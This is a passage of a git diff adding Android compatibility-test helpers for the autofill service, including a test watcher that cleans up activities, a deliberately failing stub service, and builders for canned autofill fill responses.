+                    dump(testName, t);
+                    throw t;
+                } finally {
+                    try {
+                        if (!levelBefore.equals("verbose")) {
+                            runShellCommand("cmd autofill set log_level %s", levelBefore);
+                        }
+                    } finally {
+                        Log.v(TAG, "@After " + testName);
+                    }
+                }
+            }
+        };
+    }
+
+    @Override
+    public void dump(@NonNull String testName, @NonNull Throwable t) {
+        if (mDumped) {
+            Log.e(mTag, "dump(" + testName + "): already dumped");
+            return;
+        }
+        if ((t instanceof AssumptionViolatedException)) {
+            // This exception is used to indicate a test should be skipped and is
+            // ignored by JUnit runners - we don't need to dump it...
+            Log.w(TAG, "ignoring exception: " + t);
+            return;
+        }
+        Log.e(mTag, "Dumping after exception on " + testName, t);
+        Helper.dumpAutofillService(mTag);
+        final String activityDump = runShellCommand("dumpsys activity top");
+        Log.e(mTag, "top activity dump: \n" + activityDump);
+        mDumped = true;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillTestWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillTestWatcher.java
new file mode 100644
index 0000000..fe5c674
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillTestWatcher.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.util.ArraySet;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.TestNameUtils;
+
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+
+import java.util.Set;
+
+/**
+ * Custom {@link TestWatcher} that's the outer rule of all {@link AutoFillServiceTestCase} tests.
+ *
+ * <p>This class is not thread safe, but should be fine...
+ */
+public final class AutofillTestWatcher extends TestWatcher {
+
+    /**
+     * Cleans up all launched activities between the tests and retries.
+     */
+    public void cleanAllActivities() {
+        try {
+            finishActivities();
+            waitUntilAllDestroyed();
+        } finally {
+            resetStaticState();
+        }
+    }
+
+    private static final String TAG = "AutofillTestWatcher";
+
+    @GuardedBy("sUnfinishedBusiness")
+    private static final Set<AbstractAutoFillActivity> sUnfinishedBusiness = new ArraySet<>();
+
+    @GuardedBy("sAllActivities")
+    private static final Set<AbstractAutoFillActivity> sAllActivities = new ArraySet<>();
+
+    @Override
+    protected void starting(Description description) {
+        resetStaticState();
+        final String testName = description.getDisplayName();
+        Log.i(TAG, "Starting " + testName);
+        TestNameUtils.setCurrentTestName(testName);
+    }
+
+    @Override
+    protected void finished(Description description) {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        final String testName = description.getDisplayName();
+        cleanAllActivities();
+        Log.i(TAG, "Finished " + testName);
+        TestNameUtils.setCurrentTestName(null);
+    }
+
+    private void resetStaticState() {
+        synchronized (sUnfinishedBusiness) {
+            sUnfinishedBusiness.clear();
+        }
+        synchronized (sAllActivities) {
+            sAllActivities.clear();
+        }
+    }
+
+    /**
+     * Registers an activity so it's automatically finished (if necessary) after the test.
+     */
+    public static void registerActivity(@NonNull String where,
+            @NonNull AbstractAutoFillActivity activity) {
+        synchronized (sUnfinishedBusiness) {
+            if (sUnfinishedBusiness.contains(activity)) {
+                throw new IllegalStateException("Already registered " + activity);
+            }
+            Log.v(TAG, "registering activity on " + where + ": " + activity);
+            sUnfinishedBusiness.add(activity);
+            sAllActivities.add(activity);
+        }
+        synchronized (sAllActivities) {
+            sAllActivities.add(activity);
+
+        }
+    }
+
+    /**
+     * Unregisters an activity so it's not automatically finished after the test.
+     */
+    public static void unregisterActivity(@NonNull String where,
+            @NonNull AbstractAutoFillActivity activity) {
+        synchronized (sUnfinishedBusiness) {
+            final boolean unregistered = sUnfinishedBusiness.remove(activity);
+            if (unregistered) {
+                Log.d(TAG, "unregistered activity on " + where + ": " + activity);
+            } else {
+                Log.v(TAG, "ignoring already unregistered activity on " + where + ": " + activity);
+            }
+        }
+    }
+
+    /**
+     * Gets the instance of a previously registered activity.
+     */
+    @Nullable
+    public static <A extends AbstractAutoFillActivity> A getActivity(@NonNull Class<A> clazz) {
+        @SuppressWarnings("unchecked")
+        final A activity = (A) sAllActivities.stream().filter(a -> a.getClass().equals(clazz))
+                .findFirst()
+                .get();
+        return activity;
+    }
+
+    private void finishActivities() {
+        synchronized (sUnfinishedBusiness) {
+            if (sUnfinishedBusiness.isEmpty()) {
+                return;
+            }
+            Log.d(TAG, "Manually finishing " + sUnfinishedBusiness.size() + " activities");
+            for (AbstractAutoFillActivity activity : sUnfinishedBusiness) {
+                if (activity.isFinishing()) {
+                    Log.v(TAG, "Ignoring activity that isFinishing(): " + activity);
+                } else {
+                    Log.d(TAG, "Finishing activity: " + activity);
+                    activity.finishOnly();
+                }
+            }
+        }
+    }
+
+    private void waitUntilAllDestroyed() {
+        synchronized (sAllActivities) {
+            if (sAllActivities.isEmpty()) return;
+
+            Log.d(TAG, "Waiting until " + sAllActivities.size() + " activities are destroyed");
+            for (AbstractAutoFillActivity activity : sAllActivities) {
+                Log.d(TAG, "Waiting for " + activity);
+                try {
+                    activity.waitUntilDestroyed(Timeouts.ACTIVITY_RESURRECTION);
+                } catch (InterruptedException e) {
+                    Log.e(TAG, "interrupted waiting for " + activity + " to be destroyed");
+                    Thread.currentThread().interrupt();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/BadAutofillService.java
new file mode 100644
index 0000000..6165083
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/BadAutofillService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * An {@link AutofillService} implementation that does fails if called upon.
+ */
+public class BadAutofillService extends AutofillService {
+
+    private static final String TAG = "BadAutofillService";
+
+    public static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
+            + "/.testcore." + BadAutofillService.class.getSimpleName();
+    public static final String SERVICE_LABEL = "BadAutofillService";
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.e(TAG, "onFillRequest() should never be called");
+        throw new UnsupportedOperationException("onFillRequest() should never be called");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.e(TAG, "onSaveRequest() should never be called");
+        throw new UnsupportedOperationException("onSaveRequest() should never be called");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedAugmentedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedAugmentedFillResponse.java
new file mode 100644
index 0000000..8443c6d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedAugmentedFillResponse.java
@@ -0,0 +1,378 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.getContentDescriptionForUi;
+
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.InlinePresentation;
+import android.service.autofill.augmented.FillCallback;
+import android.service.autofill.augmented.FillController;
+import android.service.autofill.augmented.FillRequest;
+import android.service.autofill.augmented.FillResponse;
+import android.service.autofill.augmented.FillWindow;
+import android.service.autofill.augmented.PresentationParams;
+import android.service.autofill.augmented.PresentationParams.Area;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.util.Pair;
+import android.view.LayoutInflater;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.stream.Collectors;
+
+/**
+ * Helper class used to produce a {@link FillResponse}.
+ */
+public final class CannedAugmentedFillResponse {
+
+    private static final String TAG = CannedAugmentedFillResponse.class.getSimpleName();
+
+    public static final String CLIENT_STATE_KEY = "clientStateKey";
+    public static final String CLIENT_STATE_VALUE = "clientStateValue";
+
+    private final AugmentedResponseType mResponseType;
+    private final Map<AutofillId, Dataset> mDatasets;
+    private long mDelay;
+    private final Dataset mOnlyDataset;
+    private final @Nullable List<Dataset> mInlineSuggestions;
+
+    private CannedAugmentedFillResponse(@NonNull Builder builder) {
+        mResponseType = builder.mResponseType;
+        mDatasets = builder.mDatasets;
+        mDelay = builder.mDelay;
+        mOnlyDataset = builder.mOnlyDataset;
+        mInlineSuggestions = builder.mInlineSuggestions;
+    }
+
+    /**
+     * Constant used to pass a {@code null} response to the
+     * {@link FillCallback#onSuccess(FillResponse)} method.
+     */
+    public static final CannedAugmentedFillResponse NO_AUGMENTED_RESPONSE =
+            new Builder(AugmentedResponseType.NULL).build();
+
+    /**
+     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
+     */
+    public static final CannedAugmentedFillResponse DO_NOT_REPLY_AUGMENTED_RESPONSE =
+            new Builder(AugmentedResponseType.TIMEOUT).build();
+
+    public AugmentedResponseType getResponseType() {
+        return mResponseType;
+    }
+
+    public long getDelay() {
+        return mDelay;
+    }
+
+    /**
+     * Creates the "real" response.
+     */
+    public FillResponse asFillResponse(@NonNull Context context, @NonNull FillRequest request,
+            @NonNull FillController controller) {
+        final AutofillId focusedId = request.getFocusedId();
+
+        final Dataset dataset;
+        if (mOnlyDataset != null) {
+            dataset = mOnlyDataset;
+        } else {
+            dataset = mDatasets.get(focusedId);
+        }
+        if (dataset == null) {
+            Log.d(TAG, "no dataset for field " + focusedId);
+            return null;
+        }
+
+        Log.d(TAG, "asFillResponse: id=" + focusedId + ", dataset=" + dataset);
+
+        final PresentationParams presentationParams = request.getPresentationParams();
+        if (presentationParams == null) {
+            Log.w(TAG, "No PresentationParams");
+            return null;
+        }
+
+        final Area strip = presentationParams.getSuggestionArea();
+        if (strip == null) {
+            Log.w(TAG, "No suggestion strip");
+            return null;
+        }
+
+        if (mInlineSuggestions != null) {
+            return createResponseWithInlineSuggestion();
+        }
+
+        final LayoutInflater inflater = LayoutInflater.from(context);
+        final TextView rootView = (TextView) inflater.inflate(R.layout.augmented_autofill_ui, null);
+
+        Log.d(TAG, "Setting autofill UI text to:" + dataset.mPresentation);
+        rootView.setText(dataset.mPresentation);
+
+        rootView.setContentDescription(getContentDescriptionForUi(focusedId));
+        final FillWindow fillWindow = new FillWindow();
+        rootView.setOnClickListener((v) -> {
+            Log.d(TAG, "Destroying window first");
+            fillWindow.destroy();
+            final List<Pair<AutofillId, AutofillValue>> values;
+            final AutofillValue onlyValue = dataset.getOnlyFieldValue();
+            if (onlyValue != null) {
+                Log.i(TAG, "Autofilling only value for " + focusedId + " as " + onlyValue);
+                values = new ArrayList<>(1);
+                values.add(new Pair<AutofillId, AutofillValue>(focusedId, onlyValue));
+            } else {
+                values = dataset.getValues();
+                Log.i(TAG, "Autofilling: " + AugmentedHelper.toString(values));
+            }
+            controller.autofill(values);
+        });
+
+        boolean ok = fillWindow.update(strip, rootView, 0);
+        if (!ok) {
+            Log.w(TAG, "FillWindow.update() failed for " + strip + " and " + rootView);
+            return null;
+        }
+
+        return new FillResponse.Builder().setFillWindow(fillWindow).build();
+    }
+
+    @Override
+    public String toString() {
+        return "CannedAugmentedFillResponse: [type=" + mResponseType
+                + ", onlyDataset=" + mOnlyDataset
+                + ", datasets=" + mDatasets
+                + "]";
+    }
+
+    public enum AugmentedResponseType {
+        NORMAL,
+        NULL,
+        TIMEOUT,
+    }
+
+    private Bundle newClientState() {
+        Bundle b = new Bundle();
+        b.putString(CLIENT_STATE_KEY, CLIENT_STATE_VALUE);
+        return b;
+    }
+
+    private FillResponse createResponseWithInlineSuggestion() {
+        List<android.service.autofill.Dataset> list = new ArrayList<>();
+        for (Dataset dataset : mInlineSuggestions) {
+            if (!dataset.getValues().isEmpty()) {
+                android.service.autofill.Dataset.Builder datasetBuilder =
+                        new android.service.autofill.Dataset.Builder();
+                for (Pair<AutofillId, AutofillValue> pair : dataset.getValues()) {
+                    final AutofillId id = pair.first;
+                    datasetBuilder.setFieldInlinePresentation(id, pair.second, null,
+                            dataset.mFieldPresentationById.get(id));
+                    datasetBuilder.setAuthentication(dataset.mAuthentication);
+                }
+                list.add(datasetBuilder.build());
+            }
+        }
+        return new FillResponse.Builder().setInlineSuggestions(list).setClientState(
+                newClientState()).build();
+    }
+
+    public static final class Builder {
+        private final Map<AutofillId, Dataset> mDatasets = new ArrayMap<>();
+        private final AugmentedResponseType mResponseType;
+        private long mDelay;
+        private Dataset mOnlyDataset;
+        private @Nullable List<Dataset> mInlineSuggestions;
+
+        public Builder(@NonNull AugmentedResponseType type) {
+            mResponseType = type;
+        }
+
+        public Builder() {
+            this(AugmentedResponseType.NORMAL);
+        }
+
+        /**
+         * Sets the {@link Dataset} that will be filled when the given {@code ids} is focused and
+         * the UI is tapped.
+         */
+        @NonNull
+        public Builder setDataset(@NonNull Dataset dataset, @NonNull AutofillId... ids) {
+            if (mOnlyDataset != null) {
+                throw new IllegalStateException("already called setOnlyDataset()");
+            }
+            for (AutofillId id : ids) {
+                mDatasets.put(id, dataset);
+            }
+            return this;
+        }
+
+        /**
+         * The {@link android.service.autofill.Dataset}s representing the inline suggestions data.
+         * Defaults to null if no inline suggestions are available from the service.
+         */
+        @NonNull
+        public Builder addInlineSuggestion(@NonNull Dataset dataset) {
+            if (mInlineSuggestions == null) {
+                mInlineSuggestions = new ArrayList<>();
+            }
+            mInlineSuggestions.add(dataset);
+            return this;
+        }
+
+        /**
+         * Sets the delay for onFillRequest().
+         */
+        public Builder setDelay(long delay) {
+            mDelay = delay;
+            return this;
+        }
+
+        /**
+         * Sets the only dataset that will be returned.
+         *
+         * <p>Used when the test case doesn't know the autofill id of the focused field.
+         * @param dataset
+         */
+        @NonNull
+        public Builder setOnlyDataset(@NonNull Dataset dataset) {
+            if (!mDatasets.isEmpty()) {
+                throw new IllegalStateException("already called setDataset()");
+            }
+            mOnlyDataset = dataset;
+            return this;
+        }
+
+        @NonNull
+        public CannedAugmentedFillResponse build() {
+            return new CannedAugmentedFillResponse(this);
+        }
+    } // CannedAugmentedFillResponse.Builder
+
+
+    /**
+     * Helper class used to define which fields will be autofilled when the user taps the Augmented
+     * Autofill UI.
+     */
+    public static class Dataset {
+        private final Map<AutofillId, AutofillValue> mFieldValuesById;
+        private final Map<AutofillId, InlinePresentation> mFieldPresentationById;
+        private final String mPresentation;
+        private final AutofillValue mOnlyFieldValue;
+        private final IntentSender mAuthentication;
+
+        private Dataset(@NonNull Builder builder) {
+            mFieldValuesById = builder.mFieldValuesById;
+            mPresentation = builder.mPresentation;
+            mOnlyFieldValue = builder.mOnlyFieldValue;
+            mFieldPresentationById = builder.mFieldPresentationById;
+            this.mAuthentication = builder.mAuthentication;
+        }
+
+        @NonNull
+        public List<Pair<AutofillId, AutofillValue>> getValues() {
+            return mFieldValuesById.entrySet().stream()
+                    .map((entry) -> (new Pair<>(entry.getKey(), entry.getValue())))
+                    .collect(Collectors.toList());
+        }
+
+        @Nullable
+        public AutofillValue getOnlyFieldValue() {
+            return mOnlyFieldValue;
+        }
+
+        @Override
+        public String toString() {
+            return "Dataset: [presentation=" + mPresentation
+                    + ", onlyField=" + mOnlyFieldValue
+                    + ", fields=" + mFieldValuesById
+                    + ", auth=" + mAuthentication
+                    + "]";
+        }
+
+        public static class Builder {
+            private final Map<AutofillId, AutofillValue> mFieldValuesById = new ArrayMap<>();
+            private final Map<AutofillId, InlinePresentation> mFieldPresentationById =
+                    new ArrayMap<>();
+
+            private final String mPresentation;
+            private AutofillValue mOnlyFieldValue;
+            private IntentSender mAuthentication;
+
+            public Builder(@NonNull String presentation) {
+                mPresentation = Objects.requireNonNull(presentation);
+            }
+
+            /**
+             * Sets the value that will be autofilled on the field with {@code id}.
+             */
+            public Builder setField(@NonNull AutofillId id, @NonNull String text) {
+                if (mOnlyFieldValue != null) {
+                    throw new IllegalStateException("already called setOnlyField()");
+                }
+                mFieldValuesById.put(id, AutofillValue.forText(text));
+                return this;
+            }
+
+            /**
+             * Sets the value that will be autofilled on the field with {@code id}.
+             */
+            public Builder setField(@NonNull AutofillId id, @NonNull String text,
+                    @NonNull InlinePresentation presentation) {
+                if (mOnlyFieldValue != null) {
+                    throw new IllegalStateException("already called setOnlyField()");
+                }
+                mFieldValuesById.put(id, AutofillValue.forText(text));
+                mFieldPresentationById.put(id, presentation);
+                return this;
+            }
+
+            /**
+             * Sets this dataset to return the given {@code text} for the focused field.
+             *
+             * <p>Used when the test case doesn't know the autofill id of the focused field.
+             */
+            public Builder setOnlyField(@NonNull String text) {
+                if (!mFieldValuesById.isEmpty()) {
+                    throw new IllegalStateException("already called setField()");
+                }
+                mOnlyFieldValue = AutofillValue.forText(text);
+                return this;
+            }
+
+            /**
+             * Sets the authentication intent for this dataset.
+             */
+            public Builder setAuthentication(IntentSender authentication) {
+                mAuthentication = authentication;
+                return this;
+            }
+
+            public Dataset build() {
+                return new Dataset(this);
+            }
+        } // Dataset.Builder
+    } // Dataset
+} // CannedAugmentedFillResponse
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedFillResponse.java
new file mode 100644
index 0000000..8ef8627
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CannedFillResponse.java
@@ -0,0 +1,888 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Helper.createInlinePresentation;
+import static android.autofillservice.cts.testcore.Helper.createPresentation;
+import static android.autofillservice.cts.testcore.Helper.getAutofillIds;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillResponse;
+import android.service.autofill.InlinePresentation;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.util.Log;
+import android.util.Pair;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
+import java.util.regex.Pattern;
+
+/**
+ * Helper class used to produce a {@link FillResponse} based on expected fields that should be
+ * present in the {@link AssistStructure}.
+ *
+ * <p>Typical usage:
+ *
+ * <pre class="prettyprint">
+ * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
+ *               .addDataset(new CannedDataset.Builder("dataset_name")
+ *                   .setField("resource_id1", AutofillValue.forText("value1"))
+ *                   .setField("resource_id2", AutofillValue.forText("value2"))
+ *                   .build())
+ *               .build());
+ * </pre class="prettyprint">
+ */
+public final class CannedFillResponse {
+
+    private static final String TAG = CannedFillResponse.class.getSimpleName();
+
+    private final ResponseType mResponseType;
+    private final List<CannedDataset> mDatasets;
+    private final String mFailureMessage;
+    private final int mSaveType;
+    private final String[] mRequiredSavableIds;
+    private final String[] mOptionalSavableIds;
+    private final AutofillId[] mRequiredSavableAutofillIds;
+    private final CharSequence mSaveDescription;
+    private final Bundle mExtras;
+    private final RemoteViews mPresentation;
+    private final InlinePresentation mInlinePresentation;
+    private final RemoteViews mHeader;
+    private final RemoteViews mFooter;
+    private final IntentSender mAuthentication;
+    private final String[] mAuthenticationIds;
+    private final String[] mIgnoredIds;
+    private final int mNegativeActionStyle;
+    private final IntentSender mNegativeActionListener;
+    private final int mPositiveActionStyle;
+    private final int mSaveInfoFlags;
+    private final int mFillResponseFlags;
+    private final AutofillId mSaveTriggerId;
+    private final long mDisableDuration;
+    private final String[] mFieldClassificationIds;
+    private final boolean mFieldClassificationIdsOverflow;
+    private final SaveInfoDecorator mSaveInfoDecorator;
+    private final UserData mUserData;
+    private final DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
+    private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
+    private final int[] mCancelIds;
+
+    private CannedFillResponse(Builder builder) {
+        mResponseType = builder.mResponseType;
+        mDatasets = builder.mDatasets;
+        mFailureMessage = builder.mFailureMessage;
+        mRequiredSavableIds = builder.mRequiredSavableIds;
+        mRequiredSavableAutofillIds = builder.mRequiredSavableAutofillIds;
+        mOptionalSavableIds = builder.mOptionalSavableIds;
+        mSaveDescription = builder.mSaveDescription;
+        mSaveType = builder.mSaveType;
+        mExtras = builder.mExtras;
+        mPresentation = builder.mPresentation;
+        mInlinePresentation = builder.mInlinePresentation;
+        mHeader = builder.mHeader;
+        mFooter = builder.mFooter;
+        mAuthentication = builder.mAuthentication;
+        mAuthenticationIds = builder.mAuthenticationIds;
+        mIgnoredIds = builder.mIgnoredIds;
+        mNegativeActionStyle = builder.mNegativeActionStyle;
+        mNegativeActionListener = builder.mNegativeActionListener;
+        mPositiveActionStyle = builder.mPositiveActionStyle;
+        mSaveInfoFlags = builder.mSaveInfoFlags;
+        mFillResponseFlags = builder.mFillResponseFlags;
+        mSaveTriggerId = builder.mSaveTriggerId;
+        mDisableDuration = builder.mDisableDuration;
+        mFieldClassificationIds = builder.mFieldClassificationIds;
+        mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
+        mSaveInfoDecorator = builder.mSaveInfoDecorator;
+        mUserData = builder.mUserData;
+        mVisitor = builder.mVisitor;
+        mSaveInfoVisitor = builder.mSaveInfoVisitor;
+        mCancelIds = builder.mCancelIds;
+    }
+
+    /**
+     * Constant used to pass a {@code null} response to the
+     * {@link FillCallback#onSuccess(FillResponse)} method.
+     */
+    public static final CannedFillResponse NO_RESPONSE =
+            new Builder(ResponseType.NULL).build();
+
+    /**
+     * Constant used to fail the test when an expected request was made.
+     */
+    public static final CannedFillResponse NO_MOAR_RESPONSES =
+            new Builder(ResponseType.NO_MORE).build();
+
+    /**
+     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
+     */
+    public static final CannedFillResponse DO_NOT_REPLY_RESPONSE =
+            new Builder(ResponseType.TIMEOUT).build();
+
+    /**
+     * Constant used to call {@link FillCallback#onFailure(CharSequence)} method.
+     */
+    public static final CannedFillResponse FAIL =
+            new Builder(ResponseType.FAILURE).build();
+
+    public String getFailureMessage() {
+        return mFailureMessage;
+    }
+
+    public ResponseType getResponseType() {
+        return mResponseType;
+    }
+
+    /**
+     * Creates a new response, replacing the dataset field ids by the real ids from the assist
+     * structure.
+     */
+    public FillResponse asFillResponse(@Nullable List<FillContext> contexts,
+            @NonNull Function<String, ViewNode> nodeResolver) {
+        final FillResponse.Builder builder = new FillResponse.Builder()
+                .setFlags(mFillResponseFlags);
+        if (mDatasets != null) {
+            for (CannedDataset cannedDataset : mDatasets) {
+                final Dataset dataset = cannedDataset.asDataset(nodeResolver);
+                assertWithMessage("Cannot create datase").that(dataset).isNotNull();
+                builder.addDataset(dataset);
+            }
+        }
+        final SaveInfo.Builder saveInfoBuilder;
+        if (mRequiredSavableIds != null || mOptionalSavableIds != null
+                || mRequiredSavableAutofillIds != null || mSaveInfoDecorator != null) {
+            if (mRequiredSavableAutofillIds != null) {
+                saveInfoBuilder = new SaveInfo.Builder(mSaveType, mRequiredSavableAutofillIds);
+            } else {
+                saveInfoBuilder = mRequiredSavableIds == null || mRequiredSavableIds.length == 0
+                        ? new SaveInfo.Builder(mSaveType)
+                            : new SaveInfo.Builder(mSaveType,
+                                    getAutofillIds(nodeResolver, mRequiredSavableIds));
+            }
+
+            saveInfoBuilder.setFlags(mSaveInfoFlags);
+
+            if (mOptionalSavableIds != null) {
+                saveInfoBuilder.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
+            }
+            if (mSaveDescription != null) {
+                saveInfoBuilder.setDescription(mSaveDescription);
+            }
+            if (mNegativeActionListener != null) {
+                saveInfoBuilder.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
+            }
+
+            saveInfoBuilder.setPositiveAction(mPositiveActionStyle);
+
+            if (mSaveTriggerId != null) {
+                saveInfoBuilder.setTriggerId(mSaveTriggerId);
+            }
+        } else if (mSaveInfoFlags != 0) {
+            saveInfoBuilder = new SaveInfo.Builder(mSaveType).setFlags(mSaveInfoFlags);
+        } else {
+            saveInfoBuilder = null;
+        }
+        if (saveInfoBuilder != null) {
+            // TODO: merge decorator and visitor
+            if (mSaveInfoDecorator != null) {
+                mSaveInfoDecorator.decorate(saveInfoBuilder, nodeResolver);
+            }
+            if (mSaveInfoVisitor != null) {
+                Log.d(TAG, "Visiting saveInfo " + saveInfoBuilder);
+                mSaveInfoVisitor.visit(contexts, saveInfoBuilder);
+            }
+            final SaveInfo saveInfo = saveInfoBuilder.build();
+            Log.d(TAG, "saveInfo:" + saveInfo);
+            builder.setSaveInfo(saveInfo);
+        }
+        if (mIgnoredIds != null) {
+            builder.setIgnoredIds(getAutofillIds(nodeResolver, mIgnoredIds));
+        }
+        if (mAuthenticationIds != null) {
+            builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
+                    mAuthentication, mPresentation, mInlinePresentation);
+        }
+        if (mDisableDuration > 0) {
+            builder.disableAutofill(mDisableDuration);
+        }
+        if (mFieldClassificationIdsOverflow) {
+            final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+            final AutofillId[] fieldIds = new AutofillId[length];
+            for (int i = 0; i < length; i++) {
+                fieldIds[i] = new AutofillId(i);
+            }
+            builder.setFieldClassificationIds(fieldIds);
+        } else if (mFieldClassificationIds != null) {
+            builder.setFieldClassificationIds(
+                    getAutofillIds(nodeResolver, mFieldClassificationIds));
+        }
+        if (mExtras != null) {
+            builder.setClientState(mExtras);
+        }
+        if (mHeader != null) {
+            builder.setHeader(mHeader);
+        }
+        if (mFooter != null) {
+            builder.setFooter(mFooter);
+        }
+        if (mUserData != null) {
+            builder.setUserData(mUserData);
+        }
+        if (mVisitor != null) {
+            Log.d(TAG, "Visiting " + builder);
+            mVisitor.visit(contexts, builder);
+        }
+        builder.setPresentationCancelIds(mCancelIds);
+
+        final FillResponse response = builder.build();
+        Log.v(TAG, "Response: " + response);
+        return response;
+    }
+
+    @Override
+    public String toString() {
+        return "CannedFillResponse: [type=" + mResponseType
+                + ",datasets=" + mDatasets
+                + ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
+                + ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
+                + ", requiredSavableAutofillIds=" + Arrays.toString(mRequiredSavableAutofillIds)
+                + ", saveInfoFlags=" + mSaveInfoFlags
+                + ", fillResponseFlags=" + mFillResponseFlags
+                + ", failureMessage=" + mFailureMessage
+                + ", saveDescription=" + mSaveDescription
+                + ", hasPresentation=" + (mPresentation != null)
+                + ", hasInlinePresentation=" + (mInlinePresentation != null)
+                + ", hasHeader=" + (mHeader != null)
+                + ", hasFooter=" + (mFooter != null)
+                + ", hasAuthentication=" + (mAuthentication != null)
+                + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
+                + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+                + ", saveTriggerId=" + mSaveTriggerId
+                + ", disableDuration=" + mDisableDuration
+                + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+                + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
